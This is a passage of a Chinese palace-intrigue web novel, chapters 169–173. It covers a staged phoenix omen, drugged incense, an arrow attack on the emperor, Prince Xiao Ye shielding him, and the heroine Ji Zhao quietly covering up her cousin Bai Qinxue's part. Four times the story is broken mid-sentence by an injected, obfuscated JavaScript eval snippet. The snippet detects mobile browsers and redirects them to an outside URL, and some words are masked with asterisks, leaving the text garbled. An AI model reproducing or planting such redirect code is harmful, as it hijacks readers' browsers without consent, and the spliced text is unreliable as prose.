纪昭摇了摇头:“不能总是把希望寄托在旁人身上。自己也得有自保之力。” 晚意不说话了。 她是个丫鬟,不懂这些大道理。 纪昭摸着枪匣,心中隐隐有感,有一场大风暴要来。 …… 观云阁,如今称作观凤阁,瞧见了凤凰献瑞的吉兆消息传遍了整个行宫上下。还被传到了京城,等过一日就会由京城传到各州各郡。 大约五六日后,全天下就可以得知这件大事。 皇帝很是高兴,连着两日下了好几道旨意。 观凤阁也在两日两夜密集修缮之后焕然一新。 皇帝让钦天监算了个好日子,决定在三日后在观凤阁亲自焚香引凤,又令随行的鼓乐伶人奏引风曲。 三日后,焚香引凤隆重在观凤台举行。 一大早纪昭便由教养嬷嬷穿上了宫装,首饰也由嬷嬷亲自挑选,又为她簪了几支宝蓝色绢花。 陈嬷嬷道:“仪式应该会持续到晚上,大小姐仔细不要喝多了酒水。” 纪昭点头。 她看看了铜镜中的自己,果然贵气又明丽大方。 面白如雪,眉似远山,眸如春水。 脸若心形,唇点绛红。 身形颀长,婷婷袅袅,宛若神仙妃子。 往常她习惯穿得朴素,佩戴首饰上也是删繁就简,但此次大事一点都不能省心力。 黄嬷嬷打扮完纪昭,含笑称赞:“准王妃气质已成,等到成婚那日按品大妆不知道有多明丽富贵。说是全天下第一美人都不为过。” 陈嬷嬷十分赞同:“见过许多后宫娘娘,还有诰命贵女,唯独只有纪家大小姐容貌气质双绝。” “真是应了名,昭昭如日月光辉,不可直视。” 纪昭听了,含笑:“两位嬷嬷不要夸了。” 两位嬷嬷退下,纪昭坐在铜镜前想了想,摸了一个东西悄悄藏在了袖中。 时辰到了,皇后派人前来接纪昭。 纪昭走出屋子,几位妹妹都羡慕无比瞧着她。 纪昭瞧见白沁雪:“你想去吗?” 白沁雪诧异:“我不能去。” 纪昭莞尔一笑:“我随便问问。你若是想去,我可以让晚秋与你替换。” 言下之意,白沁雪要是想去观礼,就必须以纪昭的贴身丫鬟身份去。 白沁雪咬了咬下唇:“不,多谢大姐姐好意。” 好意吗? 纪昭瞧见她眼底屈辱神色一闪而过。 她意有所指:“那罢了。沁雪表妹就老老实实待在家中,等我回来。” 白沁雪点头,神情诚挚:“大姐姐要小心。” 纪昭含笑握住白沁雪微凉的手:“好,我一定会小心的。” …… 引凤仪式很繁琐冗长。 纪昭到的时候,整个观凤台被香雾缠绕,宛若巨大的焚香炉。 因为皇帝要来行引凤仪式,在观凤台旁边还临时增建了一处巨大的高台。 高台比观凤台更靠前,高台下就是万丈悬崖,十分惊险。 高台上有个巨大的香炉,不断有司礼太监往里面放入各种名贵香料。 千金难求的檀香、麝香、龙涎香等等都放入焚烧。 还有四位高僧盘坐在高台四个角,诵经念佛。 纪昭入了观凤台最高一层,被安排与萧烨坐在一起。 萧烨今日穿着亲王朝服,肃然而冷峻。紫金龙冠下是一张堪比神颜的面容。 清冷,端肃。 他见到纪昭,眸色动了动。 纪昭行礼后,跪坐在他身边,一起合什祝祷。 到了吉时,帝后一起出现,然后率领众人一起祝祷。 纪昭一大早起来,又穿了不习惯的宫装,被勒得难受又犯困。 好不容易等帝后的祝祷结束,已到了下午。 众人用了点斋菜,继续随着帝后念经祝祷。 如此一直到了晚上都没瞧见凤凰出来。不过就算如此,还是有不少贵人徘徊在观凤台四周,想要一睹凤凰。 高台上的香也日夜焚不停,终日香雾缭绕,比之前更像仙界琼楼。 第二日依旧如此。 到了第三日,皇帝明显有了疲态,皇后也遭不住,得了咳疾回了紫云殿休养。 纪昭瞧见齐王一直跟在皇帝身边,时不时说一会儿话。皇帝频频点头,似乎采纳了他的意见。 晚间,皇帝下旨奏乐宴饮,等着最后这三日的礼成。 观凤台便热闹起来。 陪伴御驾而来的贵人们纷纷登楼阁。 皇帝:“想来凤凰祥瑞是极难得一见的。” 齐王:“皇上仁政,凤凰出世便是佐证。一定会让皇上得见的。” 天渐渐暗了下来,但观凤阁灯火通明。 庞贵妃含笑道:“因凤凰祥瑞,安排好的戏班歌舞都没来得及给皇上看。要么就趁着今日皇上与民同欢吧。” 皇上应允了。 于是戏班与歌舞便在高台演起来。 纪昭心中摇头。这么大张旗鼓,别说凤凰了,就是蚊子飞鸟都不敢落下来。 也不知道齐王卖的是什么药,也不明白为什么皇帝就那么信。 可能人越到高处,越是信奉虚无缥缈的东西。 不然总觉得惶惶无处可依。 歌舞笙箫,歌姬唱起曲子,余音缭绕,山间越发显得空阔清幽。 也不知道是不是香料闻多了,纪昭觉得头晕乎乎的,神志迷茫。 她以为自己是三日来疲惫,正想找个借口下去更衣。 却听见有人说:“越三娘来不了了,说是前日得了风寒。她让自己的弟子来献舞。” 纪昭冷不丁听到这个名字。 混沌的脑中一下子惊醒过来。 越三娘的弟子? 那不是白沁雪吗? 第169章 观凤台行刺 若是别的人,纪昭定不会如此警醒。 但白沁雪这个名字是刻在魂魄中的恨,是两世为人都心怀不甘的符号。 纪昭捏了手臂,彻底清醒过来。 她瞧着殿中众人,除了自己外许多人面上都迷迷瞪瞪的。 纪昭蹙眉——香炉中被下了料。 她急寻萧烨,却发现萧烨已不知所踪,整个楼阁中只有皇帝与庞贵妃端坐在上首,以下依次是身份贵重的齐王、陈王,还有几位天子近臣,还有王公贵族内眷诰命。 此时底下有人惊呼:“好美的舞!” 纪昭循声望去,只见一位蒙面的妙龄少女伴着乐声在高台上翩翩起舞。 只一眼,纪昭就认出那蒙面的少女是白沁雪。 原来在这儿等着。 听得庞贵妃轻笑:“皇上,这越三娘年纪这么大身段居然这么好。” 皇帝看了一眼,被吸引。 齐王突然道:“皇上,您要不上前欣赏?越三娘的舞姿可不是寻常就能见到的。” 庞贵妃也道:“臣妾陪着皇上近前看看。” 皇帝欣然同意。 于是齐王与庞贵妃簇拥着皇帝到了楼阁露台上,观赏旁边高台上跳舞的人。 就在此时,有人高喊一声。 “快!有凤凰!我好像瞧见了凤凰!” 皇帝急忙循声望去。 就这时,对面悬崖上一道五彩的羽衣急速飞跃而下,投入山林中。 在黑夜中,绚烂羽毛一闪而过,宛若流星。 皇帝不由自主往前几步:“朕没看清楚,是凤凰吗?……” 一道冷箭从旁边高台下直射向露出半个身子的皇帝。 纪昭在皇帝右后侧,众人身后,她能瞧得清清楚楚,但却无法阻拦。 因为这箭速度太快,角度十分刁钻。 突然有人喊“护驾!” 纪昭还没冲出去,就看见从左后方飞出一柄手杖击落了第一支箭羽。 皇帝被声音吓了一跳,再转头看时,高台下的刺客补射了第二支箭。 皇帝呆住,一动不动。 眼看就要被箭射中,萧烨一步上前挡在了皇帝面前。 而陈王后知后觉,哭喊着:“快救驾!有刺客!” 他连滚带爬护在皇帝面前,同时惊呼:“十四中箭了!十四中箭了!” …… 刺客被击杀了。 一场为了看凤凰祥瑞的引凤仪式,变成了彻头彻尾的行刺计划。 皇帝震怒。 一干有嫌疑的人统统拿下来,而本置身事外的齐王因为先前陈王的告状,也被软禁在行宫的幽室中等待澄清。 行宫很乱。 龙虎两营接到了百里加急调令,抽调一万兵力将行宫方圆三百里都围了起来,以防生变。 紫云殿中,太医们为萧烨处理伤口。 箭上有毒,不过幸好伤在了表皮,内服外敷后没有大碍。 皇后脸色发白,握着纪昭的手簌簌发抖。 纪昭柔声安慰:“睿亲王殿下没事。这个时候皇后应该去看看皇上,还得带着六皇子殿下前去。” 皇后点了点头:“是,本宫该去。这里你守着。” 她说完匆匆去见皇帝。 纪昭等太医都处理完伤口,捧了药汤悄悄进去。 萧烨伤在肩头已用绷带包好,穿上了衣服。 纪昭见他气色还好,没有半点颓靡。 “殿下好险。” 萧烨看了看四周:“我有分寸。” 纪昭轻声道:“此事不知道皇上要怎么处置。” 萧烨:“大概是高高举起,轻轻落下。齐王庞贵妃没什么明显嫌疑,突破口在那装神弄鬼的凤凰上。找出谁扮了凤凰,也许能找出幕后人的证据。” 纪昭:“殿下早就猜到了吗?” 萧烨:“本来没猜中,直到今夜香炉的香不对头。我就知道有人要做一场局。” 他眸色冰冷:“凤凰祥瑞是假,是要引皇帝来观凤台,趁乱射杀皇帝。” 纪昭:“也不知道庞贵妃是怎么答应配合齐王。” 萧烨冷笑:“她的儿子还没被下旨赦免,她按耐不住想趁乱让皇上因为受伤而匆匆立太子。毕竟现在的皇子中,只有三皇子看着像样点。” 前后都串了起来,就看这次能否抓到齐王的把柄。 不过,纪昭对此没有信心。 前世,皇帝应该也遇到了刺客,但不知道是被刺客**射中缠绵龙榻,还是回京后就龙体欠安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531920|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之前世齐王并没有受挫,而是庞贵妃最后得利。 …… 纪昭回到了院子。 她特地去看白沁雪。 丫鬟芳菲支支吾吾:“表小姐睡下了。” 纪昭眸色一冷:“把她拿住!” 丫鬟芳菲惊了,要挣扎。陈嬷嬷给了她两巴掌,让人拿帕子堵了她的嘴押到了后院看着。 纪昭进了屋子,只见白沁雪脸色煞白瞧着自己。 “大姐姐怎么一声不吭地来了。” 白沁雪要喊人端茶,这才发现屋外都是纪昭的下人。 白沁雪:“大姐姐要做什么?你该不会是要趁机害我吧?” 纪昭只是瞧着她,眼神一扫,黄嬷嬷从她的箱笼中找到一套舞衣,上面有泥点,看得出穿过。 纪昭将舞衣丢在白沁雪脚下,冷笑:“高台上跳舞的人是你吧?” 白沁雪咬牙:“不是。” 纪昭坐了下来:“你不承认也没用。只要抓住了越三娘,到时候你一个欺君之罪逃不了。还能治你一个行刺皇上的同谋之罪。” 白沁雪慢慢坐了下来,盯着纪昭:“大姐姐要做什么?是将我送到皇上面前,还是将我暗地处置了?” 纪昭一笑:“你很怕我在这个时候趁乱将你处死?所以说个不停?” 白沁雪:“……” 纪昭慢慢道:“我不会冒险将你送出去,也不会在这个节骨眼上将你害死。毕竟行宫已经出了乱子,我不能将害死表妹这种把柄送出去。” 白沁雪沉默,一双眸子幽幽盯着纪昭。 这双眸子让纪昭想起了西北荒漠遇到的毒蛇。 那种黑色毒蛇在沙地上行走无声,时常到了身后或身侧时静静盯着猎物,静待时机,一击必中。 白沁雪就是那条毒蛇。 没有把握一下子击杀她,会被她反噬引来祸事。 纪昭不打算今日鲁莽了结她。 她是来警告白沁雪,而且还有后招。 白沁雪惊疑不定盯着纪昭:“大姐姐想要做什么?” 纪昭微微一笑:“让你尽早离开侯府。你不是暗中见了郑夫人吗?你已另寻他路,我自然不能阻你富贵前途。” 白沁雪松了口气。 第170章 皇帝** 半个时辰后,纪昭出了屋。 丫鬟芳菲被押了过来。 她瞧见纪昭就赶紧磕头:“大小姐饶了奴婢!奴婢什么都不知道,什么都不敢乱说。” 纪昭:“你是表小姐的人。给她一个面子,我今日不发落你。不过你也得掂量后果,以后惹了祸事就不是发卖了那么简单。” 丫鬟芳菲吓得浑身发抖。 纪昭回头看了一眼,带着人回了自己的屋子。 让晚意将白沁雪的舞衣拿到房后烧了。 烧的干干净净,灰烬还得从水渠里冲走,不留半点把柄。 纪昭今日做的出其不意,院子里其他人并不知道发生了什么事。就连两位教养嬷嬷知道的也不多。 她们只知道白沁雪起了邀宠心思,擅自去御前献舞。 纪昭拿了一把金叶子给了两位嬷嬷。 她叹气:“我这不成器的表妹实在是大胆。” 陈嬷嬷低声道:“这位表小姐心思太野了,竟然想勾引皇帝。也不怕庞贵妃把她发落了。” 黄嬷嬷却有不同的意见:“她有这份心思,想来也不能留在侯府,更不能去三皇子府。还不如做个人情把她送入后宫,到时候不用大小姐出手,自然有人争着使绊子让她永远出不了头。” 纪昭是同意黄嬷嬷的看法的。 因为皇帝寿数并不长。再两年就会重病离世。 而后宫中庞贵妃势大,又善妒,白沁雪已愚蠢得罪了庞贵妃,再入宫肯定无法出头。 纪昭对两位嬷嬷道:“今日之事最好不让人知道,不然节外生枝,怕给我们惹来祸事。” 两位教养嬷嬷知道轻重,立刻点头答应了。 纪昭安顿好院中一切,缓缓松了口气。 她摸了摸袖中的东西,是一把簪状的小袖剑。 这把袖剑想用来防身,不过幸好不需要用到。 …… 第二日一早,纪昭梳洗完毕。皇后派人来请。 纪昭前去紫云殿。 经过昨夜闹哄哄的,皇后脸色并不好看,有疲惫神色。 她犹豫半天才道:“皇上生病了。” 纪昭微怔:“可让太医瞧了?” 皇后点头:“让梁太医看了,几位太医昨儿就琢磨出方子吃了药。” 纪昭瞧着皇后欲言又止的样子,就知道皇后没全说实话。 皇后只是害怕,想倾诉。 皇帝病情的实情,皇后不敢说。 皇后说了皇帝的病后,含笑对纪昭道:“还是你有定力,让阿澈去见了他父皇。皇上对阿澈赞誉有加。” 纪昭谦逊:“是六皇子殿下孝心感动圣上,不是我的功劳。” 皇后拉着纪昭说了一会儿话,才让她去看看睿亲王萧烨。 纪昭本不想去。 但皇后意思很明显,这个节骨眼上纪昭还是多多与萧烨见面。 纪昭到了南仪苑,萧烨在行宫中的下榻处。 萧烨正在里面与陈王、还有崔国舅说话。 陈王出现是正常的,但崔国舅在这儿便有点意味深长。 崔国舅是皇后的胞弟,去年又袭了国公爵位,身份双重尊贵,崔姓又是八大世家望族第一。 三样加起来,不是一般人能随便见到一面。更不太容易让他亲自来一趟。 崔国舅见到纪昭,笑着道:“马鞍还在做,回到京城应该就完工,到时候送到侯府上。” 纪昭含笑:“国舅有心了,那我就却之不恭。” 崔国舅:“准王妃言重了。犬子是准王妃救的,一套小小马鞍不及万分之一。” 他又说了一番话,这才告辞离开。 陈王笑着对萧烨说:“托十四的福,皇上夸了我。其他人也对我恭敬不少。” 萧烨:“你这几日别乱说话。老八还没出来。” 陈王得意洋洋:“他没那么容易出来。凤凰祥瑞是他编的,观凤阁是他主持建的,刺客肯定和他有关系。就算查不出关系也没用,怀疑一旦种下,皇上就不会那么信他。” 他说完哼哼:“刺客射箭的时候,他还推了我一把。想让我也中箭,真是恶毒。” 纪昭:“……” 陈王说了一番话,挺高兴走了。 纪昭问:“齐王当真推了陈王?不应该。” 萧烨瞧了她一眼:“他的话你也信?他现在巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531921|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得将所有的罪过都推到齐王头上。要是齐王安然无恙出来,会报复陈王。” 纪昭:“……” 只能说萧烨看人挺准,陈王既胆小又贪功。 陈王以一己之力搅乱局面,还不予余力给齐王罪名上不断加料。 所有人虽然知道陈王的推测有很大的不实之处,但没人会怀疑他有别的居心。 陈王的居心太明显了——他就想齐王倒霉。 这点连皇帝都不会深究。 在陈王大张旗鼓下,萧烨美美隐身,只默默领了救驾的功劳,从其他事中摘出。 纪昭说起了皇后:“皇后似乎有别的话。” 她说了皇后提到皇帝生病的欲言又止。 萧烨深眸幽冷盯着她:“你倒是聪明。” 纪昭不明白他是夸自己,还是讥讽。 萧烨淡淡道:“皇帝中了毒。” 纪昭:“……” 他说了内情。 原来昨儿夜里,皇帝就头晕目眩,还呕吐了几次。太医去看诊,竟然发现皇帝中了**。 **的量很轻,要不是昨儿香炉中的药引发了症状。 毒还得蛰伏许久。 萧烨沉声道:“昨儿皇上知道**后,便将御前伺候的人都查了一遍,暗中打杀了好几个。吃喝用全部换了新。” “还提了立储之事。” 纪昭听得心跳了起来。 难怪崔国舅来寻萧烨说话。从前不来是为了避嫌,现如今立储被提上来,这些清贵几百年的世家闻风而动,纷纷暗中站队。 纪昭:“查出什么来?” 萧烨看了她一眼:“能查出什么?能做这些事的人都已经提前防备好了。死的人也是从前觉得很忠心的老人。越是这样,皇帝越是担心愤怒。” “不过也不是全无用处。齐王被囚,庞贵妃也不敢再作妖。” 纪昭叹气:“难道这次抓不到他们的把柄?” 萧烨:“也不全是。那个假扮凤凰的人被抓到了。” 纪昭急忙问:“是越三娘?” 萧烨点了点头:“不过**。自尽而亡。” 纪昭:“……” 第171章 赏和罚 越三娘的死状极其丑陋凄惨。 内厂侍卫找到越三娘的时候。 她的尸体上披着羽衣,上下沾满泥泞。脸被利刃刮花,几乎看不出本来面目。 看致命伤口,应该是被铁丝之类的直接扼断喉咙,气绝而亡。 尸体第二日悄悄送到了皇帝面前。 皇帝震怒,差点又一次毒发。 有了越三娘这尸体作证,谋逆的罪证虽然没办法从齐王身上找到,但皇帝已经能定罪。 一道圣旨,将齐王圈禁在京城中的齐王府。 与此同时,救驾的睿亲王萧烨,护驾有功的陈王颁旨嘉奖。 与此同时,立储的消息不胫而走。 六皇子萧澈除了身子病弱外,品行没有错处。 之前呼声最高的三皇子萧钧因上次动兵刃,还没下旨赦免,所以没人看好他。 也不敢看好他。 因为他的母妃是庞贵妃。 观凤台行刺的前一刻,庞贵妃说:臣妾陪着皇上近前看看。 这句话很寻常,除了皇帝外没人听见。 但皇帝惊恐之余,整夜脑子里就回荡这一句夺命的话。 若不是齐王引他,庞贵妃撺掇,皇帝再好奇也不可能随意走到露台上暴露身形。 再深想,去承御行宫的主意,不是庞贵妃提的吗? 这安排得有多深远? 其心可诛! 皇帝对皇后说:“朕现在想起来就后怕,夜里都做噩梦。” 皇后心疼:“皇上受了毒烟蛊惑,心神不宁罢了。” 皇帝摇头:“若不是十四扔了手杖挡了第一箭,又以身犯险挡了第二箭,以朕身上的毒一定挨不过回京。” 皇后:“十四其实很忠心。皇上先前对他的芥蒂也该散了。” 皇帝:“是冤枉了他。只是他太过有能耐,朕担心太过了。说起来朕也是愧对他。” 皇后心说,你觉得愧对,就是越发猜忌? 皇帝又说:“这次十四立了那么大功劳,要怎么赏?” 皇后也觉得是难题:“十四已经赏不了,要不赏他身边的人?” 皇帝想了想还是无法决定。 皇帝又提起立储:“阿澈最近精气神看着还好,感觉长大了不少。太子之任可以考虑给他。” 皇后心绪激动,强压着:“阿澈最近跟着师父学武功,长进不少,也少病。功课那边有几位太傅盯着。” 皇帝:“功课不要盯那么紧,把好好的孩子都给折腾病了。” “经过这次生死关头,朕觉得子女都得多疼惜,不要逼着他们成才,让他们平平安安陪着我们便是。” 皇后听了这话,泪水长流。 “多谢皇上……” 皇后紧绷了那么多年的心弦一下子松了,与皇帝的芥蒂也似乎消散了许多。 皇帝见皇后鬓边多出来的白发,叹气:“也只有结发夫妻才能同心。这两日辛苦你了。” …… 行刺后第三日,皇帝下了嘉奖圣旨。 加封睿亲王萧烨为和硕睿亲王,加黄龙袍。赏封地千里,佃万户。黄金珠宝无数。 为开国以来亲王最高爵位。 另又一道圣旨,立六皇子萧澈为太子,迁东宫。 有奖就有罚——齐王被褫夺头衔,削封地,圈禁京中,无诏不可出。 一干涉案的人等送了大理寺,查清后秋后问斩。 有谋逆之罪,诛三族,以儆效尤。 …… 这翻天巨变令朝野震动。 皇帝御驾两日后便要回京城,此次承御行宫之行便结束了。 在行宫的日子只剩下两日,众人都敞开玩耍。 白沁雪依旧躲着不出来。 这次是真的躲着了。 她是越三娘的记名弟子,虽不算正式的,但又因她偷偷替了越三娘跳舞已经是沾了归同谋之嫌疑。若是被追究起来,死路一条。 纪昭替她隐瞒了。 没办法,若是不隐瞒祸事要牵连到了侯府。 幸好纪荣是内厂副统领,能弹压得住这事。 纪荣此次因带队寻到越三娘的尸首,所以回京之后必能升为大统领一职。 纪昭很满意此行结果。 大哥纪荣升官。 自己虽然看起来没功劳,但萧烨有了她的提醒完美躲过灾祸,领了救驾功劳。 萧烨也会将这份功劳暗自记在她头上。 他不是无情贪功之人。 …… 郑国公夫人设宴,特地请纪昭。 纪昭盛装前去,一袭紫霞色宫装长裙,头上一整套紫宝头面首饰,尊贵又明艳。 两位教养嬷嬷为她打扮,都说如今睿亲王已声望极高,纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑国公夫人笑吟吟掀开红绸,上面华彩耀眼,竟然是之前被盗那一批跃金纱锦。 第172章 醒酒汤 跃金纱锦呈上来,满目华彩,众人纷纷赞叹。 贞祈长公主没见过这等华贵的彩锦,惊得从座位上站起身来抚摸。 郑国公夫人亲自捧了,含笑送给纪昭:“这纱锦前阵子正好破了案,丢失的大约都找回了。我兄长说正好借花献佛送三匹给准王妃,以做准王妃救过犬子的谢礼。” 她又重提纪昭救她儿子的救命之恩。 众目睽睽之下,纪昭知道不能拒绝。 她含笑收了,客气:“郑国公夫人太过赞誉。先前谢礼已经够多了,我受之有愧。” 郑国公夫人见她收了,满脸是笑:“不过誉。救命之恩就是性命都给了准王妃也是应该的。” 纪昭听了这话,心知肚明。 崔家和郑家这是明着效忠睿亲王萧烨。 看来立了六皇子萧澈为太子一事,让世家大族们瞬间有了依靠。 皇后是崔家长房长女,崔家又是世家大族的第一位。 所以此次立储,皇帝选择了世家这边。 殿中的人都在恭维纪昭,谁也没瞧见贞祈长公主眼含嫉妒偷偷瞧着光彩夺目的跃金纱锦。 一番热闹宴席散了。 纪昭多饮了几杯果酒,脸上热。 她正要回去歇息,顺便让丫鬟们收拾回京的行囊。 有小内侍前来说,睿亲王萧烨请她过去赏景。 纪昭蹙眉,虽身子不适,也只能走一趟。 到了南仪苑,门口没有迎接的下人,却见几个闲散的内侍在大门边凑着说话。 纪昭心中疑惑,回头看时传话的小内侍已不见了。 她觉得哪儿不对,但人已到了南仪苑门口,要走已经晚了。 看门的内侍见纪昭前来,赶紧笑着迎了进去。 纪昭:“殿下在吗?” 内侍笑眯眯:“在的,在的,在后院与几位公子和小姐们说话。” 纪昭:“哪些公子小姐?” 内侍说了两三个人名,有京城王家三公子王怀瑾,崔家四公子崔正安,并甄家的甄晚照、容家大小姐容茹月,齐家嫡三小姐,齐景和。 纪昭听了心中诧异。 这些都是有名有姓的世家贵公子和贵女们。 他们是来一股脑攀附萧烨的不成? 纪昭含笑:“我倒是来的不凑巧了。” 小内侍笑道:“怎么会呢?准王妃要来,王爷肯定高兴。那些公子小姐们只是路过拜访罢了。” 纪昭看了小内侍一眼,发现他脸上喜气洋洋,还带着得意。 连给睿亲王看门的小太监都能轻视这些攀附来的公子小姐们,果然主子的救驾之功让下人也跟着膨胀。 纪昭到了后院,果然瞧见院子里一堆锦衣华服的男女在说笑玩乐。 他们见纪昭前来,赶紧上前见礼。 纪昭扫过他们,问萧烨在何处。 崔家公子崔正安笑道:“王爷在书房,说过一会儿才过来。” 王怀瑾又道:“茹月说是去请了,不知道来了没。” 纪昭点了点头,那边有小内侍匆匆来:“王爷让准王妃过去一趟。” 纪昭不明所以,跟着小内侍前去。 走过几道回廊,又过了两道垂花拱门,纪昭见到了萧烨。 他正拄着手杖,满脸不耐烦瞧着面前说话的容茹月。 纪昭尴尬驻足。 这是让她来解围? 她转身要走,不想惹这个麻烦。却不料萧烨瞧见了她。 冷冷的:“你既然来了,又跑做什么?” 纪昭:“……” 容茹月一回头见到纪昭,怔愣了下随即过来见礼。 纪昭笑道:“我正好路过,进来瞧瞧殿下的伤好些没。却不成想殿下与容小姐有话要说。” 容茹月粉面含羞:“倒也没说什么话,是几位哥哥姐姐一起过来探望王爷。寻常问安。” 纪昭:“既然都见到了,那一起去前面说话。” 萧烨突然道:“谁要去前面?” 容茹月:“……” 纪昭知道萧烨怪脾气又来了,立刻从善如流:“那就不去前面。” 萧烨面色缓和了几分,冷冷对容茹月:“你去前面,孤与准王妃有话要说。” 容茹月挤出笑容,赶紧走了。 纪昭瞧着她难堪失措的背影,摇了摇头。 “殿下为何要给容小姐难堪?她脸皮薄,又是容家的小姐。” 萧烨不悦:“那又怎么样?特地寻我,说了一堆废话。” 他问:“你怎么来了?” 纪昭知道有蹊跷,将事说了。 萧烨脸色微沉:“那个内侍不是我的人,是有人引你来这里。” 纪昭只觉得莫名:“谁?让我来这里特地看看殿下?” 萧烨冷笑:“查一查就知道了。” 纪昭见他精气神还好,便想告辞。 萧烨却皱眉:“你这么急回去做什么?既然来了就留着喝点茶再走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538596|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的脸色很不对。” 他说着伸手碰了碰纪昭的脸。 微凉的手指碰到脸上的肌肤,纪昭这才发现自己的脸很滚烫。不用照镜子也知晓自己的脸一定通红通红的,看起来很不正常。 纪昭退后一步,闪躲开:“没什么,刚喝了点果子酒,上了头。” 萧烨:“既然喝多了就得醒醒酒。醒了酒再回去。” 他说这话的时候,竟牵了纪昭的手。 纪昭冷不丁被抓住,吓了一跳。 萧烨蹙眉:“又怎么了?” 纪昭只觉得脸更热了:“别抓我的手,于礼不合。” 萧烨微微怔愣片刻:“我怕你喝多了走不稳。” 纪昭定了定神:“不会,我在军营也喝过一些。有些酒力的。” 萧烨点了点头,忽然转念一想纪昭在军营里和一堆又脏又臭的男人喝酒,脸骤然黑了。 他哼了一声,拄着手杖走在前面。 纪昭见他又生气了,只觉得莫名,不知道这位爷又为了什么事触了逆鳞。 真是难伺候。 纪昭摇了摇头,悄悄跟上。 萧烨走得很快,看不出是残了一条腿的人。又过了一道门,拐过弯他回头瞧了瞧。 纪昭不紧不慢跟着,脸色也没有委屈。 萧烨慢慢脚步放慢了些,纪昭跟了上来。 萧烨:“你在军营中喝了什么酒?” 纪昭想了想:“上阵时会喝壮胆酒。那是每个人都得喝的。” 萧烨:“……” 纪昭摸了摸自己的脸,只觉得退了不少热气。 她道:“散了一会儿酒意没了,我先告辞回院子。” 萧烨不悦:“都走到了此处,非要急着回去做什么?这里难道是龙潭虎穴不成?” 纪昭听他这么说,自然不能再提回去的事。 萧烨与她捡了块干净的石桌石椅坐了,然后吩咐人去做醒酒的冰镇酸梅汤。 冰镇酸梅汤端了上来,两碗。 纪昭爱吃冰的,喝了一口,眼睛亮了亮:“好喝。” 萧烨见她埋头喝了起来:“你喜欢这汤水?” 纪昭喝了一大半才道:“这汤水煮的比侯府的好喝,不太酸,还加了甘草、陈皮。” 萧烨见她喜欢,将面前一碗推到她面前:“既然喜欢,这碗你也喝了。” 纪昭:“殿下不喝了吗?这喝了还解暑。” 萧烨:“我不喜欢喝甜的。” 第173章 白沁雪成了手尾 纪昭想着他也许真的不喜欢喝,于是喝完了自己那一份,将萧烨那一份都喝了。 两份汤水都喝了,纪昭这才满足擦了擦唇角。 她一抬头,正好撞见萧烨深幽的眸子盯着自己。 纪昭脸热了热,刚才也不知道他是不是盯着自己喝汤的样子? 萧烨收回目光:“你要是喜欢,我让嬷嬷把方子写了送你。只是冰的不能喝多,会闹肚子。” 纪昭高兴:“好,多谢殿下。” 不过她又摇头:“侯府没有冰窖,就算是做了也不好喝。” 萧烨无所谓:“没有冰窖,让人去挖一个,也费不了多少功夫。” 纪昭要婉拒,萧烨却不想在这个话题上多说。 过了一会儿有小内侍悄悄来了,耳语几句。 萧烨摆了摆手,人退下了。 他说:“查清楚了,是贞祈长公主让人引你来。那人被抓到了,打了一顿板子丢给内厂了。” 纪昭诧异:“长公主?她为什么?” 萧烨:“那等蠢人不必理会。她引你吃醋的。容家的,甄家的,会为孤的侧妃。” 纪昭失笑:“就这?” 萧烨冷笑:“她估计收了哪家的钱,想法子作妖。若是你当真吃了醋,闹了一通,她就有借口去皇上面前诋毁你。你家世本来就低,名声要是不好以后正妃的位置坐不稳。” “所以你不吵不闹的,挺好。” 纪昭听着萧烨最后夸了自己,只觉得别扭。 她嫁给萧烨,一是还恩,二是找靠山。还没想过要如何争风吃醋。 纪昭说起了白沁雪。 行宫行刺一案如今只剩下白沁雪这个手尾没想好怎么处置。 纪昭:“她顶了越三娘的空缺献舞,应该只是邀宠,没有参与谋逆。她不敢也没这个本事。” 萧烨面无表情:“她不是棋子,是过河卒。恐怕是齐王两边骗,一边骗了庞贵妃,让她引皇帝来行宫,一边又骗了白沁雪,让她充当越三娘的替身。” 纪昭斟酌:“所以庞贵妃也不知道白沁雪是为了邀宠?” 萧烨看了她一眼,一切都尽在不言中。 纪昭倒吸一口冷气。 齐王的谋划果然精妙。若不是自己提前知道他是背后之人,早早告诉了萧烨齐王的异样,恐怕这件事就稀里糊涂地让齐王得逞了。 